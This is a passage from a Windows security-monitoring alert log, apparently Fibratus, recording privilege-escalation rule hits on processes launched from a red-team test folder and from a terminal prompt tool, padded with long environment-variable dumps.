LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:122fa9ef-fbd4-4f2a-bf38-7020b0fd087b WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + + Seq: 2455468 + Pid: 18912 + Tid: 12456 + Type: CreateProcess + CPU: 6 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:44:49.9235735 +0100 CET + Params: cmdline➜ C:\WINDOWS\system32\WerFault.exe -u -p 18912 -s 552, directory_table_base➜ 26c52e000, domain➜ ARCHRABBIT, exe➜ C:\WINDOWS\system32\WerFault.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c72f77080, name➜ WerFault.exe, pid➜ 18048, ppid➜ 18912, real_ppid➜ 10452, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:44:49.9235086 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: tactic.id: TA0004, technique.id: T1134, technique.name: Access Token Manipulation, technique.ref: https://attack.mitre.org/techniques/T1134/, subtechnique.id: T1134.002, subtechnique.name: Create Process with Token, tactic.ref: https://attack.mitre.org/tactics/TA0004/, rule.seq.link: 4470948737304231936, rule.name: Suspicious child process integrity level, tactic.name: Privilege Escalation, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/ + + Pid: 18912 + Ppid: 18532 + Name: main.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\gargoyle\main.exe" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\gargoyle\main.exe + Cwd: C:\Fibratus\redteam\gargoyle\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\gargoyle\main.exe"] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:122fa9ef-fbd4-4f2a-bf38-7020b0fd087b WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T20:45:05+01:00 level=info msg=sending alert: [Suspicious child process integrity level]. Text: Suspicious process C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe spawned the process C:\WINDOWS\system32\conhost.exe with System integrity level + Event(s): + Seq: 2501216 + Pid: 18532 + Tid: 1180 + Type: CreateProcess + CPU: 0 + Name: CreateProcess + Category: process + Description: Creates a new process and its primary thread + Host: archrabbit + Timestamp: 2025-11-04 20:44:57.4779975 +0100 CET + Params: cmdline➜ "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=255" "--pwd=C:\Fibratus\redteam\gargoyle" "--pswd=C:\Fibratus\redteam\gargoyle" "--execution-time=8509.771" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=120" "--shell=pwsh", directory_table_base➜ 3bfb87000, domain➜ ARCHRABBIT, exe➜ C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe, exit_status➜ Success, flags➜ , kproc➜ ffffa78c73052080, name➜ oh-my-posh.exe, pid➜ 7724, ppid➜ 18532, real_ppid➜ 18532, session_id➜ 1, sid➜ S-1-5-21-2271034452-2606270099-984871569-1001, start_time➜ 2025-11-04 20:44:57.4778159 +0100 CET, token_elevation_type➜ FULL, token_integrity_level➜ HIGH, token_is_elevated➜ true, username➜ nedo + Metadata: rule.seq.link: 4831236707493871616, rule.name: Suspicious child process integrity level, technique.name: Access Token Manipulation, technique.ref: https://attack.mitre.org/techniques/T1134/, subtechnique.ref: https://attack.mitre.org/techniques/T1134/002/, tactic.id: TA0004, technique.id: T1134, subtechnique.id: T1134.002, subtechnique.name: Create Process with Token, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 18532 + Ppid: 3544 + Name: powershell.exe + Parent name: WindowsTerminal.exe + Cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Parent cmdline: "C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.23.12811.0_x64__8wekyb3d8bbwe\WindowsTerminal.exe" + Exe: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Cwd: C:\Fibratus\fibratus\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: [C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:122fa9ef-fbd4-4f2a-bf38-7020b0fd087b WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program 